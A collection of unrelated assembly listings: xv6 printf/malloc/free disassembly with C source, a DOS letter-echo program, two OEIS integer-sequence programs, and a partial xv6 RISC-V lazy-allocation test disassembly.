6f3: 57 push %edi
6f4: 56 push %esi
6f5: 53 push %ebx
6f6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6f9: 8b 75 0c mov 0xc(%ebp),%esi
6fc: 0f b6 1e movzbl (%esi),%ebx
6ff: 84 db test %bl,%bl
701: 0f 84 b3 00 00 00 je 7ba <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
707: 8d 45 10 lea 0x10(%ebp),%eax
70a: 83 c6 01 add $0x1,%esi
state = 0;
70d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
70f: 89 45 d4 mov %eax,-0x2c(%ebp)
712: eb 2f jmp 743 <printf+0x53>
714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
718: 83 f8 25 cmp $0x25,%eax
71b: 0f 84 a7 00 00 00 je 7c8 <printf+0xd8>
write(fd, &c, 1);
721: 8d 45 e2 lea -0x1e(%ebp),%eax
724: 83 ec 04 sub $0x4,%esp
727: 88 5d e2 mov %bl,-0x1e(%ebp)
72a: 6a 01 push $0x1
72c: 50 push %eax
72d: ff 75 08 pushl 0x8(%ebp)
730: e8 6d fe ff ff call 5a2 <write>
735: 83 c4 10 add $0x10,%esp
738: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
73b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
73f: 84 db test %bl,%bl
741: 74 77 je 7ba <printf+0xca>
if(state == 0){
743: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
745: 0f be cb movsbl %bl,%ecx
748: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
74b: 74 cb je 718 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
74d: 83 ff 25 cmp $0x25,%edi
750: 75 e6 jne 738 <printf+0x48>
if(c == 'd'){
752: 83 f8 64 cmp $0x64,%eax
755: 0f 84 05 01 00 00 je 860 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
75b: 81 e1 f7 00 00 00 and $0xf7,%ecx
761: 83 f9 70 cmp $0x70,%ecx
764: 74 72 je 7d8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
766: 83 f8 73 cmp $0x73,%eax
769: 0f 84 99 00 00 00 je 808 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
76f: 83 f8 63 cmp $0x63,%eax
772: 0f 84 08 01 00 00 je 880 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
778: 83 f8 25 cmp $0x25,%eax
77b: 0f 84 ef 00 00 00 je 870 <printf+0x180>
write(fd, &c, 1);
781: 8d 45 e7 lea -0x19(%ebp),%eax
784: 83 ec 04 sub $0x4,%esp
787: c6 45 e7 25 movb $0x25,-0x19(%ebp)
78b: 6a 01 push $0x1
78d: 50 push %eax
78e: ff 75 08 pushl 0x8(%ebp)
791: e8 0c fe ff ff call 5a2 <write>
796: 83 c4 0c add $0xc,%esp
799: 8d 45 e6 lea -0x1a(%ebp),%eax
79c: 88 5d e6 mov %bl,-0x1a(%ebp)
79f: 6a 01 push $0x1
7a1: 50 push %eax
7a2: ff 75 08 pushl 0x8(%ebp)
7a5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7a8: 31 ff xor %edi,%edi
write(fd, &c, 1);
7aa: e8 f3 fd ff ff call 5a2 <write>
for(i = 0; fmt[i]; i++){
7af: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
7b3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
7b6: 84 db test %bl,%bl
7b8: 75 89 jne 743 <printf+0x53>
}
}
}
7ba: 8d 65 f4 lea -0xc(%ebp),%esp
7bd: 5b pop %ebx
7be: 5e pop %esi
7bf: 5f pop %edi
7c0: 5d pop %ebp
7c1: c3 ret
7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
7c8: bf 25 00 00 00 mov $0x25,%edi
7cd: e9 66 ff ff ff jmp 738 <printf+0x48>
7d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
7d8: 83 ec 0c sub $0xc,%esp
7db: b9 10 00 00 00 mov $0x10,%ecx
7e0: 6a 00 push $0x0
7e2: 8b 7d d4 mov -0x2c(%ebp),%edi
7e5: 8b 45 08 mov 0x8(%ebp),%eax
7e8: 8b 17 mov (%edi),%edx
7ea: e8 61 fe ff ff call 650 <printint>
ap++;
7ef: 89 f8 mov %edi,%eax
7f1: 83 c4 10 add $0x10,%esp
state = 0;
7f4: 31 ff xor %edi,%edi
ap++;
7f6: 83 c0 04 add $0x4,%eax
7f9: 89 45 d4 mov %eax,-0x2c(%ebp)
7fc: e9 37 ff ff ff jmp 738 <printf+0x48>
801: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
808: 8b 45 d4 mov -0x2c(%ebp),%eax
80b: 8b 08 mov (%eax),%ecx
ap++;
80d: 83 c0 04 add $0x4,%eax
810: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
813: 85 c9 test %ecx,%ecx
815: 0f 84 8e 00 00 00 je 8a9 <printf+0x1b9>
while(*s != 0){
81b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
81e: 31 ff xor %edi,%edi
s = (char*)*ap;
820: 89 cb mov %ecx,%ebx
while(*s != 0){
822: 84 c0 test %al,%al
824: 0f 84 0e ff ff ff je 738 <printf+0x48>
82a: 89 75 d0 mov %esi,-0x30(%ebp)
82d: 89 de mov %ebx,%esi
82f: 8b 5d 08 mov 0x8(%ebp),%ebx
832: 8d 7d e3 lea -0x1d(%ebp),%edi
835: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
838: 83 ec 04 sub $0x4,%esp
s++;
83b: 83 c6 01 add $0x1,%esi
83e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
841: 6a 01 push $0x1
843: 57 push %edi
844: 53 push %ebx
845: e8 58 fd ff ff call 5a2 <write>
while(*s != 0){
84a: 0f b6 06 movzbl (%esi),%eax
84d: 83 c4 10 add $0x10,%esp
850: 84 c0 test %al,%al
852: 75 e4 jne 838 <printf+0x148>
854: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
857: 31 ff xor %edi,%edi
859: e9 da fe ff ff jmp 738 <printf+0x48>
85e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
860: 83 ec 0c sub $0xc,%esp
863: b9 0a 00 00 00 mov $0xa,%ecx
868: 6a 01 push $0x1
86a: e9 73 ff ff ff jmp 7e2 <printf+0xf2>
86f: 90 nop
write(fd, &c, 1);
870: 83 ec 04 sub $0x4,%esp
873: 88 5d e5 mov %bl,-0x1b(%ebp)
876: 8d 45 e5 lea -0x1b(%ebp),%eax
879: 6a 01 push $0x1
87b: e9 21 ff ff ff jmp 7a1 <printf+0xb1>
putc(fd, *ap);
880: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
883: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
886: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
888: 6a 01 push $0x1
ap++;
88a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
88d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
890: 8d 45 e4 lea -0x1c(%ebp),%eax
893: 50 push %eax
894: ff 75 08 pushl 0x8(%ebp)
897: e8 06 fd ff ff call 5a2 <write>
ap++;
89c: 89 7d d4 mov %edi,-0x2c(%ebp)
89f: 83 c4 10 add $0x10,%esp
state = 0;
8a2: 31 ff xor %edi,%edi
8a4: e9 8f fe ff ff jmp 738 <printf+0x48>
s = "(null)";
8a9: bb 92 0a 00 00 mov $0xa92,%ebx
while(*s != 0){
8ae: b8 28 00 00 00 mov $0x28,%eax
8b3: e9 72 ff ff ff jmp 82a <printf+0x13a>
8b8: 66 90 xchg %ax,%ax
8ba: 66 90 xchg %ax,%ax
8bc: 66 90 xchg %ax,%ax
8be: 66 90 xchg %ax,%ax
000008c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8c0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8c1: a1 cc 0d 00 00 mov 0xdcc,%eax
{
8c6: 89 e5 mov %esp,%ebp
8c8: 57 push %edi
8c9: 56 push %esi
8ca: 53 push %ebx
8cb: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
8ce: 8d 4b f8 lea -0x8(%ebx),%ecx
8d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8d8: 39 c8 cmp %ecx,%eax
8da: 8b 10 mov (%eax),%edx
8dc: 73 32 jae 910 <free+0x50>
8de: 39 d1 cmp %edx,%ecx
8e0: 72 04 jb 8e6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8e2: 39 d0 cmp %edx,%eax
8e4: 72 32 jb 918 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
8e6: 8b 73 fc mov -0x4(%ebx),%esi
8e9: 8d 3c f1 lea (%ecx,%esi,8),%edi
8ec: 39 fa cmp %edi,%edx
8ee: 74 30 je 920 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
8f0: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
8f3: 8b 50 04 mov 0x4(%eax),%edx
8f6: 8d 34 d0 lea (%eax,%edx,8),%esi
8f9: 39 f1 cmp %esi,%ecx
8fb: 74 3a je 937 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8fd: 89 08 mov %ecx,(%eax)
freep = p;
8ff: a3 cc 0d 00 00 mov %eax,0xdcc
}
904: 5b pop %ebx
905: 5e pop %esi
906: 5f pop %edi
907: 5d pop %ebp
908: c3 ret
909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
910: 39 d0 cmp %edx,%eax
912: 72 04 jb 918 <free+0x58>
914: 39 d1 cmp %edx,%ecx
916: 72 ce jb 8e6 <free+0x26>
{
918: 89 d0 mov %edx,%eax
91a: eb bc jmp 8d8 <free+0x18>
91c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
920: 03 72 04 add 0x4(%edx),%esi
923: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
926: 8b 10 mov (%eax),%edx
928: 8b 12 mov (%edx),%edx
92a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
92d: 8b 50 04 mov 0x4(%eax),%edx
930: 8d 34 d0 lea (%eax,%edx,8),%esi
933: 39 f1 cmp %esi,%ecx
935: 75 c6 jne 8fd <free+0x3d>
p->s.size += bp->s.size;
937: 03 53 fc add -0x4(%ebx),%edx
freep = p;
93a: a3 cc 0d 00 00 mov %eax,0xdcc
p->s.size += bp->s.size;
93f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
942: 8b 53 f8 mov -0x8(%ebx),%edx
945: 89 10 mov %edx,(%eax)
}
947: 5b pop %ebx
948: 5e pop %esi
949: 5f pop %edi
94a: 5d pop %ebp
94b: c3 ret
94c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000950 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
950: 55 push %ebp
951: 89 e5 mov %esp,%ebp
953: 57 push %edi
954: 56 push %esi
955: 53 push %ebx
956: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
959: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
95c: 8b 15 cc 0d 00 00 mov 0xdcc,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
962: 8d 78 07 lea 0x7(%eax),%edi
965: c1 ef 03 shr $0x3,%edi
968: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
96b: 85 d2 test %edx,%edx
96d: 0f 84 9d 00 00 00 je a10 <malloc+0xc0>
973: 8b 02 mov (%edx),%eax
975: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
978: 39 cf cmp %ecx,%edi
97a: 76 6c jbe 9e8 <malloc+0x98>
97c: 81 ff 00 10 00 00 cmp $0x1000,%edi
982: bb 00 10 00 00 mov $0x1000,%ebx
987: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
98a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
991: eb 0e jmp 9a1 <malloc+0x51>
993: 90 nop
994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
998: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
99a: 8b 48 04 mov 0x4(%eax),%ecx
99d: 39 f9 cmp %edi,%ecx
99f: 73 47 jae 9e8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
9a1: 39 05 cc 0d 00 00 cmp %eax,0xdcc
9a7: 89 c2 mov %eax,%edx
9a9: 75 ed jne 998 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
9ab: 83 ec 0c sub $0xc,%esp
9ae: 56 push %esi
9af: e8 56 fc ff ff call 60a <sbrk>
if(p == (char*)-1)
9b4: 83 c4 10 add $0x10,%esp
9b7: 83 f8 ff cmp $0xffffffff,%eax
9ba: 74 1c je 9d8 <malloc+0x88>
hp->s.size = nu;
9bc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
9bf: 83 ec 0c sub $0xc,%esp
9c2: 83 c0 08 add $0x8,%eax
9c5: 50 push %eax
9c6: e8 f5 fe ff ff call 8c0 <free>
return freep;
9cb: 8b 15 cc 0d 00 00 mov 0xdcc,%edx
if((p = morecore(nunits)) == 0)
9d1: 83 c4 10 add $0x10,%esp
9d4: 85 d2 test %edx,%edx
9d6: 75 c0 jne 998 <malloc+0x48>
return 0;
}
}
9d8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
9db: 31 c0 xor %eax,%eax
}
9dd: 5b pop %ebx
9de: 5e pop %esi
9df: 5f pop %edi
9e0: 5d pop %ebp
9e1: c3 ret
9e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
9e8: 39 cf cmp %ecx,%edi
9ea: 74 54 je a40 <malloc+0xf0>
p->s.size -= nunits;
9ec: 29 f9 sub %edi,%ecx
9ee: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
9f1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
9f4: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
9f7: 89 15 cc 0d 00 00 mov %edx,0xdcc
}
9fd: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
a00: 83 c0 08 add $0x8,%eax
}
a03: 5b pop %ebx
a04: 5e pop %esi
a05: 5f pop %edi
a06: 5d pop %ebp
a07: c3 ret
a08: 90 nop
a09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
a10: c7 05 cc 0d 00 00 d0 movl $0xdd0,0xdcc
a17: 0d 00 00
a1a: c7 05 d0 0d 00 00 d0 movl $0xdd0,0xdd0
a21: 0d 00 00
base.s.size = 0;
a24: b8 d0 0d 00 00 mov $0xdd0,%eax
a29: c7 05 d4 0d 00 00 00 movl $0x0,0xdd4
a30: 00 00 00
a33: e9 44 ff ff ff jmp 97c <malloc+0x2c>
a38: 90 nop
a39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
a40: 8b 08 mov (%eax),%ecx
a42: 89 0a mov %ecx,(%edx)
a44: eb b1 jmp 9f7 <malloc+0xa7>
|
.MODEL SMALL
.STACK 100H
.DATA
MESSAGE_1 DB 'Enter a letter: $'
MESSAGE_2 DB 'The letter is $'
MESSAGE_3 DB ' and favorite number is 0$'
.CODE
MAIN PROC
MOV AX, @DATA ;INITIALIZATION
MOV DS, AX
LEA DX, MESSAGE_1 ;LOAD AND DISPLAY MESSAGE_1
MOV AH, 9
INT 21H
MOV AH, 1 ;READS CHARACTER INPUT
INT 21H
MOV BL, AL ;SAVE INPUT TO BL
MOV AH, 2 ;CARRIAGE RETURN
MOV DL, 0DH
INT 21H
MOV DL, 0AH ;LINE FEED
INT 21H
LEA DX, MESSAGE_2 ;LOAD AND DISPLAY MESSAGE_2
MOV AH, 9
INT 21H
MOV AH, 2 ;DISPLAY CHARACTER STORED IN BL
MOV DL, BL
INT 21H
LEA DX, MESSAGE_3 ;LOAD AND DISPLAY MESSAGE_3
MOV AH, 9
INT 21H
MOV AH, 4CH ; RETURN TO DOS
INT 21H
MAIN ENDP
END MAIN |
; A008854: Numbers that are congruent to {0, 1, 4} mod 5.
; 0,1,4,5,6,9,10,11,14,15,16,19,20,21,24,25,26,29,30,31,34,35,36,39,40,41,44,45,46,49,50,51,54,55,56,59,60,61,64,65,66,69,70,71,74,75,76,79,80,81,84,85,86,89,90,91,94,95,96,99,100,101,104,105,106,109,110,111,114,115,116,119,120,121,124,125,126,129,130,131,134,135,136,139,140,141,144,145,146,149,150,151,154,155,156,159,160,161,164,165,166,169,170,171,174,175,176,179,180,181,184,185,186,189,190,191,194,195,196,199,200,201,204,205,206,209,210,211,214,215,216,219,220,221,224,225,226,229,230,231,234,235,236,239,240,241,244,245,246,249,250,251,254,255,256,259,260,261,264,265,266,269,270,271,274,275,276,279,280,281,284,285,286,289,290,291,294,295,296,299,300,301,304,305,306,309,310,311,314,315,316,319,320,321,324,325,326,329,330,331,334,335,336,339,340,341,344,345,346,349,350,351,354,355,356,359,360,361,364,365,366,369,370,371,374,375,376,379,380,381,384,385,386,389,390,391,394,395,396,399,400,401,404,405,406,409,410,411,414,415
mov $1,$0
add $1,1
div $1,3
mul $1,2
add $1,$0
|
; A158981: Numerator of Hermite(n, 2/7).
; Submitted by Simon Strandgaard
; 1,4,-82,-1112,19660,514544,-7575224,-332852768,3865192592,276417340480,-2303430504224,-280102715687296,1362687220804288,334851542531477248,-396657349178753920,-461002945749901799936,-1260925479706838937344,717808917017018666550272,4971937517259668335816192,-1246327179548982254451415040,-14243056375333431459095409664,2385829046414671492888391839744,38855526206094887914371920447488,-4988425319245652187009885124698112,-107534057345520486107033849187430400,11302640121483691999419114416540237824
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,4
mul $3,-196
mul $3,$0
div $3,2
lpe
mov $0,$1
|
user/_lazytests: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <sparse_memory>:
0: 1141 addi sp,sp,-16
2: e406 sd ra,8(sp)
4: e022 sd s0,0(sp)
6: 0800 addi s0,sp,16
8: 40000537 lui a0,0x40000
c: 00000097 auipc ra,0x0
10: 5fc080e7 jalr 1532(ra) # 608 <sbrk>
14: 57fd li a5,-1
16: 02f50b63 beq a0,a5,4c <sparse_memory+0x4c>
1a: 6605 lui a2,0x1
1c: 962a add a2,a2,a0
1e: 40001737 lui a4,0x40001
22: 972a add a4,a4,a0
24: 87b2 mv a5,a2
26: 000406b7 lui a3,0x40
2a: e39c sd a5,0(a5)
2c: 97b6 add a5,a5,a3
2e: fee79ee3 bne a5,a4,2a <sparse_memory+0x2a>
32: 000406b7 lui a3,0x40
36: 621c ld a5,0(a2)
38: 02c79763 bne a5,a2,66 <sparse_memory+0x66>
3c: 9636 add a2,a2,a3
3e: fee61ce3 bne a2,a4,36 <sparse_memory+0x36>
42: 4501 li a0,0
44: 00000097 auipc ra,0x0
48: 53c080e7 jalr 1340(ra) # 580 <exit>
4c: 00001517 auipc a0,0x1
50: b0c50513 addi a0,a0,-1268 # b58 <l_free+0x3c>
54: 00001097 auipc ra,0x1
58: 8a6080e7 jalr -1882(ra) # 8fa <printf>
5c: 4505 li a0,1
5e: 00000097 auipc ra,0x0
62: 522080e7 jalr 1314(ra) # 580 <exit>
66: 00001517 auipc a0,0x1
6a: b0250513 addi a0,a0,-1278 # b68 <l_free+0x4c>
6e: 00001097 auipc ra,0x1
72: 88c080e7 jalr -1908(ra) # 8fa <printf>
76: 4505 li a0,1
78: 00000097 auipc ra,0x0
7c: 508080e7 jalr 1288(ra) # 580 <exit>
0000000000000080 <sparse_memory_unmap>:
80: 7139 addi sp,sp,-64
82: fc06 sd ra,56(sp)
84: f822 sd s0,48(sp)
86: f426 sd s1,40(sp)
88: f04a sd s2,32(sp)
8a: ec4e sd s3,24(sp)
8c: 0080 addi s0,sp,64
8e: 40000537 lui a0,0x40000
92: 00000097 auipc ra,0x0
96: 576080e7 jalr 1398(ra) # 608 <sbrk>
9a: 57fd li a5,-1
9c: 04f50863 beq a0,a5,ec <sparse_memory_unmap+0x6c>
a0: 6905 lui s2,0x1
a2: 992a add s2,s2,a0
a4: 400014b7 lui s1,0x40001
a8: 94aa add s1,s1,a0
aa: 87ca mv a5,s2
ac: 01000737 lui a4,0x1000
b0: e39c sd a5,0(a5)
b2: 97ba add a5,a5,a4
b4: fef49ee3 bne s1,a5,b0 <sparse_memory_unmap+0x30>
b8: 010009b7 lui s3,0x1000
bc: 00000097 auipc ra,0x0
c0: 4bc080e7 jalr 1212(ra) # 578 <fork>
c4: 04054163 bltz a0,106 <sparse_memory_unmap+0x86>
c8: cd21 beqz a0,120 <sparse_memory_unmap+0xa0>
ca: fcc40513 addi a0,s0,-52
ce: 00000097 auipc ra,0x0
d2: 4ba080e7 jalr 1210(ra) # 588 <wait>
d6: fcc42783 lw a5,-52(s0)
da: c3a5 beqz a5,13a <sparse_memory_unmap+0xba>
dc: 994e add s2,s2,s3
de: fd249fe3 bne s1,s2,bc <sparse_memory_unmap+0x3c>
e2: 4501 li a0,0
e4: 00000097 auipc ra,0x0
e8: 49c080e7 jalr 1180(ra) # 580 <exit>
ec: 00001517 auipc a0,0x1
f0: a6c50513 addi a0,a0,-1428 # b58 <l_free+0x3c>
f4: 00001097 auipc ra,0x1
f8: 806080e7 jalr -2042(ra) # 8fa <printf>
fc: 4505 li a0,1
fe: 00000097 auipc ra,0x0
102: 482080e7 jalr 1154(ra) # 580 <exit>
106: 00001517 auipc a0,0x1
10a: a8a50513 addi a0,a0,-1398 # b90 <l_free+0x74>
10e: 00000097 auipc ra,0x0
112: 7ec080e7 jalr 2028(ra) # 8fa <printf>
116: 4505 li a0,1
118: 00000097 auipc ra,0x0
11c: 468080e7 jalr 1128(ra) # 580 <exit>
120: c0000537 lui a0,0xc0000
124: 00000097 auipc ra,0x0
128: 4e4080e7 jalr 1252(ra) # 608 <sbrk>
12c: 01293023 sd s2,0(s2) # 1000 <__BSS_END__+0x2c8>
130: 4501 li a0,0
132: 00000097 auipc ra,0x0
136: 44e080e7 jalr 1102(ra) # 580 <exit>
13a: 00001517 auipc a0,0x1
13e: a6650513 addi a0,a0,-1434 # ba0 <l_free+0x84>
142: 00000097 auipc ra,0x0
146: 7b8080e7 jalr 1976(ra) # 8fa <printf>
14a: 4505 li a0,1
14c: 00000097 auipc ra,0x0
150: 434080e7 jalr 1076(ra) # 580 <exit>
0000000000000154 <oom>:
154: 7179 addi sp,sp,-48
156: f406 sd ra,40(sp)
158: f022 sd s0,32(sp)
15a: ec26 sd s1,24(sp)
15c: 1800 addi s0,sp,48
15e: 00000097 auipc ra,0x0
162: 41a080e7 jalr 1050(ra) # 578 <fork>
166: 4481 li s1,0
168: c10d beqz a0,18a <oom+0x36>
16a: fdc40513 addi a0,s0,-36
16e: 00000097 auipc ra,0x0
172: 41a080e7 jalr 1050(ra) # 588 <wait>
176: fdc42503 lw a0,-36(s0)
17a: 00153513 seqz a0,a0
17e: 00000097 auipc ra,0x0
182: 402080e7 jalr 1026(ra) # 580 <exit>
186: e104 sd s1,0(a0)
188: 84aa mv s1,a0
18a: 01000537 lui a0,0x1000
18e: 00001097 auipc ra,0x1
192: 82a080e7 jalr -2006(ra) # 9b8 <malloc>
196: f965 bnez a0,186 <oom+0x32>
198: 00000097 auipc ra,0x0
19c: 3e8080e7 jalr 1000(ra) # 580 <exit>
00000000000001a0 <run>:
1a0: 7179 addi sp,sp,-48
1a2: f406 sd ra,40(sp)
1a4: f022 sd s0,32(sp)
1a6: ec26 sd s1,24(sp)
1a8: e84a sd s2,16(sp)
1aa: 1800 addi s0,sp,48
1ac: 892a mv s2,a0
1ae: 84ae mv s1,a1
1b0: 00001517 auipc a0,0x1
1b4: a0850513 addi a0,a0,-1528 # bb8 <l_free+0x9c>
1b8: 00000097 auipc ra,0x0
1bc: 742080e7 jalr 1858(ra) # 8fa <printf>
1c0: 00000097 auipc ra,0x0
1c4: 3b8080e7 jalr 952(ra) # 578 <fork>
1c8: 02054f63 bltz a0,206 <run+0x66>
1cc: c931 beqz a0,220 <run+0x80>
1ce: fdc40513 addi a0,s0,-36
1d2: 00000097 auipc ra,0x0
1d6: 3b6080e7 jalr 950(ra) # 588 <wait>
1da: fdc42783 lw a5,-36(s0)
1de: cba1 beqz a5,22e <run+0x8e>
1e0: 85a6 mv a1,s1
1e2: 00001517 auipc a0,0x1
1e6: a0650513 addi a0,a0,-1530 # be8 <l_free+0xcc>
1ea: 00000097 auipc ra,0x0
1ee: 710080e7 jalr 1808(ra) # 8fa <printf>
1f2: fdc42503 lw a0,-36(s0)
1f6: 00153513 seqz a0,a0
1fa: 70a2 ld ra,40(sp)
1fc: 7402 ld s0,32(sp)
1fe: 64e2 ld s1,24(sp)
200: 6942 ld s2,16(sp)
202: 6145 addi sp,sp,48
204: 8082 ret
206: 00001517 auipc a0,0x1
20a: 9ca50513 addi a0,a0,-1590 # bd0 <l_free+0xb4>
20e: 00000097 auipc ra,0x0
212: 6ec080e7 jalr 1772(ra) # 8fa <printf>
216: 4505 li a0,1
218: 00000097 auipc ra,0x0
21c: 368080e7 jalr 872(ra) # 580 <exit>
220: 8526 mv a0,s1
222: 9902 jalr s2
224: 4501 li a0,0
226: 00000097 auipc ra,0x0
22a: 35a080e7 jalr 858(ra) # 580 <exit>
22e: 85a6 mv a1,s1
230: 00001517 auipc a0,0x1
234: 9d050513 addi a0,a0,-1584 # c00 <l_free+0xe4>
238: 00000097 auipc ra,0x0
23c: 6c2080e7 jalr 1730(ra) # 8fa <printf>
240: bf4d j 1f2 <run+0x52>
0000000000000242 <main>:
242: 7159 addi sp,sp,-112
244: f486 sd ra,104(sp)
246: f0a2 sd s0,96(sp)
248: eca6 sd s1,88(sp)
24a: e8ca sd s2,80(sp)
24c: e4ce sd s3,72(sp)
24e: e0d2 sd s4,64(sp)
250: 1880 addi s0,sp,112
252: 4785 li a5,1
254: 4901 li s2,0
256: 00a7d463 bge a5,a0,25e <main+0x1c>
25a: 0085b903 ld s2,8(a1)
25e: 00001797 auipc a5,0x1
262: 9fa78793 addi a5,a5,-1542 # c58 <l_free+0x13c>
266: 0007b883 ld a7,0(a5)
26a: 0087b803 ld a6,8(a5)
26e: 6b88 ld a0,16(a5)
270: 6f8c ld a1,24(a5)
272: 7390 ld a2,32(a5)
274: 7794 ld a3,40(a5)
276: 7b98 ld a4,48(a5)
278: 7f9c ld a5,56(a5)
27a: f9143823 sd a7,-112(s0)
27e: f9043c23 sd a6,-104(s0)
282: faa43023 sd a0,-96(s0)
286: fab43423 sd a1,-88(s0)
28a: fac43823 sd a2,-80(s0)
28e: fad43c23 sd a3,-72(s0)
292: fce43023 sd a4,-64(s0)
296: fcf43423 sd a5,-56(s0)
29a: 00001517 auipc a0,0x1
29e: 97650513 addi a0,a0,-1674 # c10 <l_free+0xf4>
2a2: 00000097 auipc ra,0x0
2a6: 658080e7 jalr 1624(ra) # 8fa <printf>
2aa: f9843503 ld a0,-104(s0)
2ae: c529 beqz a0,2f8 <main+0xb6>
2b0: f9040493 addi s1,s0,-112
2b4: 4981 li s3,0
2b6: 4a05 li s4,1
2b8: a021 j 2c0 <main+0x7e>
2ba: 04c1 addi s1,s1,16
2bc: 6488 ld a0,8(s1)
2be: c115 beqz a0,2e2 <main+0xa0>
2c0: 00090863 beqz s2,2d0 <main+0x8e>
2c4: 85ca mv a1,s2
2c6: 00000097 auipc ra,0x0
2ca: 068080e7 jalr 104(ra) # 32e <strcmp>
2ce: f575 bnez a0,2ba <main+0x78>
2d0: 648c ld a1,8(s1)
2d2: 6088 ld a0,0(s1)
2d4: 00000097 auipc ra,0x0
2d8: ecc080e7 jalr -308(ra) # 1a0 <run>
2dc: fd79 bnez a0,2ba <main+0x78>
2de: 89d2 mv s3,s4
2e0: bfe9 j 2ba <main+0x78>
2e2: 00098b63 beqz s3,2f8 <main+0xb6>
2e6: 00001517 auipc a0,0x1
2ea: 95a50513 addi a0,a0,-1702 # c40 <l_free+0x124>
2ee: 00000097 auipc ra,0x0
2f2: 60c080e7 jalr 1548(ra) # 8fa <printf>
